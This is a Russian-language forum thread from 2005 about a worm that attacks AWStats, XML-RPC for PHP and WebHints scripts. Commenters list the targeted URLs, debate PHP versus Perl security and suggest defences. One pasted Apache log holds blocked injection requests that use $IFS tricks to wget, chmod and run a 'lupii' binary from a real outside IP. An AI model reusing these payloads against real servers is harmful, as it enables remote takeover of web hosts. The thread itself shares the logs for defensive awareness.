Новый Linux червь.

А что, у кого-то апач с PHP с рутовыми правами бегает?

Дык он и не получает рута, просто открывает бэкдор.

Мдя ... вот и для попсовых продуктов стали вирусы ваять ....

Хиленький какой-то червячокс - и дыры для него уже залатаны и найти его можно с трудом... Никакого тебе удовольствия. То ли дело в Виндовс - пока МС раскачается, туча пользователей уже рогом станет.

Защита простая:
На сайте McAfee есть список стандартных урлов, по которым он атакует, нужно просто от них избавиться
http://[website]/cgi-bin/
http://[website]/scgi-bin/
http://[website]/cgi-bin/awstats/
http://[website]/scgi-bin/awstats/
http://[website]/cgi/awstats/
http://[website]/scgi/awstats/
http://[website]/scripts/
http://[website]/cgi-bin/stats/
http://[website]/scgi-bin/stats/
http://[website]/stats/
http://[website]/xmlrpc.php
http://[website]/xmlrpc/xmlrpc.php
http://[website]/xmlsrv/xmlrpc.php
http://[website]/blog/xmlrpc.php
http://[website]/drupal/xmlrpc.php
http://[website]/community/xmlrpc.php
http://[website]/blogs/xmlrpc.php
http://[website]/blogs/xmlsrv/xmlrpc.php
http://[website]/blog/xmlsrv/xmlrpc.php
http://[website]/blogtest/xmlsrv/xmlrpc.php
http://[website]/b2/xmlsrv/xmlrpc.php
http://[website]/b2evo/xmlsrv/xmlrpc.php
http://[website]/wordpress/xmlrpc.php
http://[website]/phpgroupware/xmlrpc.php
http://[website]/cgi-bin/includer.cgi
http://[website]/sgi-cgi/includer.cgi
http://[website]/includer/cgi
http://[website]/cgi-bin/include/includer.cgi
http://[website]/scgi-bin/include/includer.cgi
http://[website]/cgi-bin/inc/includer.cgi
http://[website]/scgi-bin/inc/includer.cgi
http://[website]/cgi-local/includer.cgi
http://[website]/scgi-local/includer.cgi
http://[website]/cgi/includer.cgi
http://[website]/scgi/includer.cgi
http://[website]/hints.pl
http://[website]/cgi/hints.pl
http://[website]/scgi/hints.pl
http://[website]/cgi-bin/hints.pl
http://[website]/scgi-bin/hints.pl
http://[website]/hints/hints.pl
http://[website]/cgi-bin/webhints/hints.pl
http://[website]/scgi-bin/webhints/hints.pl
http://[website]/hints.cgi
http://[website]http://[website]/cgi/hints.cgi
http://[website]/scgi/hints.cgi
http://[website]/cgi-bin/hints.cgi
http://[website]/scgi-bin/hints.cgi
http://[website]/hints/hints.cgi
http://[website]/cgi-bin/hints/hints.cgi
http://[website]/scgi-bin/hints/hints.cgi
http://[website]/webhints/hints.cgi
http://[website]/cgi-bin/webhints/hints.cgi
http://[website]/scgi-bin/webhints/hints.cgi

Сейчас начнутся нападки оффтопичников с очередным GTF :) и аргументом будет именно этот червяк :)

я вообще про австатс и уебхинтс первый раз в жизни слышу...

что это за хрень и чем оно лучше вебалайзера?

Избавиться от http://[website]/cgi-bin/ ? это круто :)

Чем более стандартна система тем более вероятность получения какой нить фигни ... IMHO :)

А что cgi-bin сложно переименовать ? или никак нельзя ?

Перевожу сайты на http://[website]/`random|md5` удаленно по вашему урлу

Что крутого в избавлении от cgi-bin?

>Что крутого в избавлении от cgi-bin?
От индекса в папке cgi-bin

в конфиге апача прописать вместо cgi-bin cgi-bin1 и переименовать соотв. директорию - покатит? А остальное - у кого - нибудь это есть?

Ну что пых-пыхщики, кто там говорил, что Perl эквивалентен шеллу и вообще PHP дюже безопасен для хоста в отличие от?

PHP=PeopleHaveProblems

если ты хостишся и не имеешь доступа к настройкам апача - то переименовать то несложно, но скрипты куда потом девать? :)

Банально конечно.. Но причем тут _LINUX_??? "Вот так рождаются нездоровые сенсации.." (c)

>если ты хостишся и не имеешь доступа к настройкам апача - то переименовать то несложно, но скрипты куда потом девать? :)

.htaccess поможет отцу русского хостинга? :) Хм. Тогда - это, скорее, проблема хостера. Если даже у меня, как хостующегося, все правильно, то общие проблемы сведут на нет всю работу. Насколько я понял, весь вопрос в связке четырех компонент. Если какой - то не хватает, то вопрос отпадает сам собой. Cinik в свое время покруче был. Ему нужна была только определенная версия апача.

Вот именно, причем тут линукс?

А что, на винде не заработает?

ну вообщем-то да, и данный топик больше должен волновать хостеров.

а что делать тем, у кого на web-сервере нет mod_php, только mod_perl?

:)

>а что делать тем, у кого на web-сервере нет mod_php, только mod_perl?

пейте бром :)))

> пейте бром :)))

хеннеси или работягу джонни

> А что, у кого-то апач с PHP с рутовыми правами бегает?

А в федоре, наверно, именно так по дефолту? В мир линукса влилось очень много дятлов, у которых может быть что угодно :)

>А в федоре, наверно, именно так по дефолту? В мир линукса влилось очень много дятлов, у которых может быть что угодно :)

А можно про мир линукса поподробнее? Надо расспросить у дворника про мир мусорных баков....

http://[website]/cgi+bin/ слабо???

> Хиленький какой-то червячокс - и дыры для него уже залатаны и найти его можно с трудом...

Виндузятники писали, небось. Они те ещё спецы в юниксах... :)

А онанимусы - исключительно Юниксвэй? :)) Помимо коментов - оригинал читать пробовал? Или там буквы незнакомые? :))

Да переименовать то несложно, но если доступ к хостингу ограничен - это тебе поможет? :)) Проще саппорт нагнуть.

PHP - дырка от бублика

--седайко стюмчик

Linfan, ты что? онанимус?

Кто такой "работяга джонни"??? У меня есть смутные подозрения, но тогда это ЛОООЛ...

LOL!!! ;-)))))

А мне, я тоже поЛОООЛиться хочу! Об чем речь ведем?

Эти дыры давно уже опубликованы, и должен быть пропатчен весь указанный софт..
Кстати вот из логов первые подснежники :)))

[Sun Nov 6 14:36:30 2005] [error] [client 157.82.250.66] File does not exist: /var/www/html/cgi-bin/awstats.pl
[Sun Nov 6 14:36:34 2005] [error] [client 157.82.250.66] File does not exist: /var/www/html/cgi-bin/awstats/awstats.pl
[Sun Nov 6 14:36:36 2005] [error] [client 157.82.250.66] File does not exist: /var/www/html/scgi-bin/awstats/awstats.pl
[Sun Nov 6 14:36:37 2005] [error] [client 157.82.250.66] File does not exist: /var/www/html/cgi/awstats/awstats.pl
[Sun Nov 6 14:36:54 2005] [error] [client 157.82.250.66] File does not exist: /var/www/html/xmlrpc.php
[Sun Nov 6 14:37:32 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/cgi-local/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS" ;"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS"" ;`lupii;./lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O3D6U5gIAAC6NK2g]
[Sun Nov 6 14:37:34 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/scgi-local/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS&quo t;"`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS"&quo t;`lupii;./lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O3j6U5gIAAC6GKXs]
[Sun Nov 6 14:37:35 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/cgi/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS"" ;`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS""`lupi i;./lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O3z6U5gIAADEkELQ]
[Sun Nov 6 14:37:37 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/scgi/includer.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS"&quo t;`62.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS""`lup ii;./lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O4T6U5gIAAC6MKp8]
[Sun Nov 6 14:37:39 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/hints.pl?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS""`62.101 .193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS""`lupii;./lupi i`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O4z6U5gIAADEjDzk]
[Sun Nov 6 14:37:40 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/cgi/hints.pl?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS""`62 .101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS""`lupii;./ lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O5D6U5gIAAGkIR7w]
[Sun Nov 6 14:37:42 2005] [error] [client 157.82.250.66] mod_security: Access denied with code 400. Pattern match """" at THE_REQUEST. [hostname "x.x.x.x"] [uri "/scgi/hints.pl?|cd$IFS/tmp;wget$IFS`echo$IFS""$IFS""`6 2.101.193.244/lupii;chmod$IFS+x$IFS`echo$IFS""$IFS""`lupii;. /lupii`echo$IFS""$IFS""`62.101.193.244|"] [unique_id Q23O5j6U5gIAAC6KKoo]

>If a system has been infected, Symantec recommends complete reinstallation of the system because it will be difficult to determine what else the computer has been exposed to, the company said.

Совсем обленились в Симантеке... До этого и так можно было догадаться =)))

> Новый Linux червь

Так кто новый-то? Линукс или червь? Ксникс, ты вообще уроки русского языка в школе посещал(-аешь)?

Я так полагаю о Johnie Walker :)

кстати perl опаснее чем php, хотя бы потому что в php можно отключить все системные функции типа passthru(), system() и др. и без них все работает, а с перлом .. только chroot спасет

хотя есть разработки и для ограничения perl и php в виде модуля ядра для linux - называется antikid

>хотя есть разработки и для ограничения perl и php в виде модуля ядра для linux - называется antikid

А можно подробнее? Гугл ответа не дал.

Поподробнее можно? кстати, ключик -T не забыли еще для perl делать на сервере?

http://www.ghc.ru/antikid/

Разработкой и отладкой занимается edisan

Сам пробовал патч - самое то для хостинга с php.

Не совсем понимаю, как это связано с Linux, если речь идет
про "внедрение удаленного кода в XML-RPC for PHP"? Скорее
всего надо было сказать, что появился очередной PHP червь,
а где уж это PHP крутится, совершенно не важно...

>Не совсем понимаю, как это связано с Linux, если речь идет
>про "внедрение удаленного кода в XML-RPC for PHP"? Скорее
>всего надо было сказать, что появился очередной PHP червь,
>а где уж это PHP крутится, совершенно не важно...

Это связано с *NIX вообще, так как в венде нету папки /tmp.
И еще покажите мне вменяемого хостера у которого apache+php крутиться на маздае

>Note: there's a security fix for SimpleXMLRPCServer.py in Python 2.2, 2.3 and 2.4. Versions before 2.2 are not vulnerable. Of the releases below, only 2.3.5 and 2.4.1 and later include the fix.

Johnie Walker - Иван Ходун

>Johnie Walker - Иван Ходун

Хорошо, что не Ванька-Встанька :)

>Note: there's a security fix for SimpleXMLRPCServer.py in Python 2.2, 2.3 and 2.4. Versions before 2.2 are not vulnerable. Of the releases below, only 2.3.5 and 2.4.1 and later include the fix.

Note: February 3, 2005